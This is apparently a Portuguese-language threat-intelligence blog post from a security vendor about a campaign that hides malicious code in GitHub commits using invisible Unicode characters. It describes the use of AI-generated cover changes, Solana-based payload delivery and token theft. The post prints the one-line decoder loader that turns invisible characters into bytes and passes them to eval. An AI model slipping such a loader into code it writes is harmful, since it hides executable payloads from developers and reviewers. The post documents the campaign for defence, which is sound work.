Aikido

O Retorno da Ameaça Invisível: PUA Unicode Oculto Atinge Repositórios GitHub

Ilyas MakariIlyas Makari
|
#

Não faz muito tempo que descobrimos extensões comprometidas no Open VSX. Agora, uma nova onda de ataques está a surgir, e todos os sinais apontam para o mesmo agente de ameaças.

A técnica parece familiar: código malicioso oculto injetado com caracteres invisíveis da Área de Uso Privado Unicode (PUA). Vimos esse truque pela primeira vez em março, quando pacotes npm usaram PUAs para ocultar cargas úteis. Depois veio o Open VSX. Agora, os atacantes parecem ter voltado suas atenções para o GitHub, e seus métodos estão a evoluir. A entrega está a ficar mais inteligente, mais furtiva e muito mais enganadora.

Cronologia da campanha «Invisible Code»

  • Março – Aikido descobre Aikido pacotes npm maliciosos que ocultam cargas úteis usando caracteres Unicode PUA.
  • Maio – Publicamos um blog detalhando os riscos do Unicode invisível e como ele pode ser usado indevidamente em ataques à Supply chain
  • 17 de outubro – Descobrimos extensões comprometidas no Open VSX usando a mesma técnica;
  • 18 de outubro - A Koi Security analisa o malware e a carga útil, batizando-o de Glassworm.
  • 31 de outubro – Descobrimos que os atacantes mudaram o foco para os repositórios do GitHub.

Stealth por Design

Fomos alertados pela primeira vez sobre essa nova onda quando um programador nos procurou após notar algo estranho: vários dos seus próprios repositórios GitHub haviam sido atualizados por ele, pelo menos de acordo com o histórico de commits. Os commits pareciam legítimos. Eles continham atualizações de recursos realistas, pequenas refatorações e até correções de bugs que correspondiam ao estilo de codificação e às mensagens de commit do projeto. Além de uma diferença, o e-mail do committer estava definido como nulo. Mas, no final destes commits, cada um tinha uma única adição idêntica:

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));

Consegue identificar o malware? À primeira vista, é difícil perceber o que está a acontecer, mas o que se destaca é o eval chamada, que é frequentemente usada para executar código dinamicamente. Apenas a entrada para eval parece estar vazio. No entanto, a string vazia passada para d() em eval não está vazio. Ele contém caracteres Unicode invisíveis, código oculto codificado com símbolos da Área de Uso Privado, assim como nos incidentes anteriores do npm e do Open VSX.

Desta vez, porém, a entrega é muito mais sutil. Tudo foi reduzido a uma única linha, quase sem deixar pistas visuais. O código malicioso está escondido dentro do que parece ser uma atividade normal do projeto, oculto em commits legítimos.

É possível que as alterações aparentemente benignas tenham sido geradas por IA para tornar os commits mais convincentes. Como esses commits eram muito específicos do projeto, isso sugere que o invasor pode ter aproveitado grandes modelos de linguagem para criar alterações de código realistas e sensíveis ao contexto, usando efetivamente a IA para camuflar a sua carga útil dentro da atividade normal de desenvolvimento.

Os caracteres PUA descodificados conduzem a um script muito semelhante às amostras do Open VSX, o que sugere que provavelmente estamos a lidar com o mesmo agente de ameaças. O script descodificado parece usar o Solana como canal de entrega, buscando e executando uma carga útil da blockchain. Com base nos incidentes do Open VSX, essas cargas úteis foram capazes de roubar tokens e outros secrets. Se credenciais ou tokens de CI forem coletados, eles podem ser reutilizados para enviar a mesma carga útil em outros repositórios, o que, por sua vez, pode permitir uma propagação semelhante a um worm, como vimos em ataques anteriores.

Sinais de um ataque maior

Após identificar o padrão malicioso, começámos a procurar se a mesma carga útil aparecia em outro lugar. Uma pesquisa rápida no GitHub pelo padrão revelou rapidamente outros repositórios que mostravam a mesma linha suspeita.

Nesses projetos, um novo commit foi enviado que, à primeira vista, parecia totalmente legítimo. Os commits continham alterações normais, como atualizações de documentação, aumentos de versão e pequenas melhorias no código, mas cada um deles também incluía a mesma carga útil oculta anexada ao final de um ficheiro.

Por enquanto, essa campanha parece estar limitada a projetos JavaScript hospedados no GitHub. Não observamos sinais de compromissos semelhantes no npm ou em outros ecossistemas, mas estamos monitorando de perto, pois o mesmo invasor pode tentar expandir o seu alcance.

Ameaças em evolução, defesas mais inteligentes

Esses incidentes destacam a necessidade de uma maior conscientização sobre o uso indevido do Unicode, especialmente os perigos dos caracteres invisíveis da Área de Uso Privado. Os programadores só podem se defender contra o que podem ver e, atualmente, a maioria das ferramentas não os mostra suficientemente. Nem a interface web do GitHub nem o VS Code exibiram qualquer sinal de que algo estava errado. Em casos anteriores, como os ataques Open VSX, alguns IDEs mostraram indicadores sutis ao lado dos caracteres ocultos, mas essas salvaguardas estavam ausentes neste caso.

Embora essa técnica não seja nova, ela está claramente a evoluir. Ameaças anteriores, como Shai Hulud, simplesmente injetavam scripts maliciosos pós-instalação, tornando-os relativamente fáceis de detectar. Agora, os invasores estão a misturar código malicioso com commits realistas e melhorias específicas do projeto, possivelmente auxiliados por IA para fazer com que as suas alterações pareçam naturais. Isso é um sinal de para onde o cenário de ameaças está a caminhar.

Na Aikido, estamos a adaptar-nos a essa mesma evolução. Utilizamos grandes modelos de linguagem, entre outros sistemas de deteção, para identificar essas ameaças cada vez mais sutis. À medida que os atacantes adotam a IA para ocultar as suas intenções, as nossas defesas precisam de se tornar igualmente inteligentes para as descobrir.

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.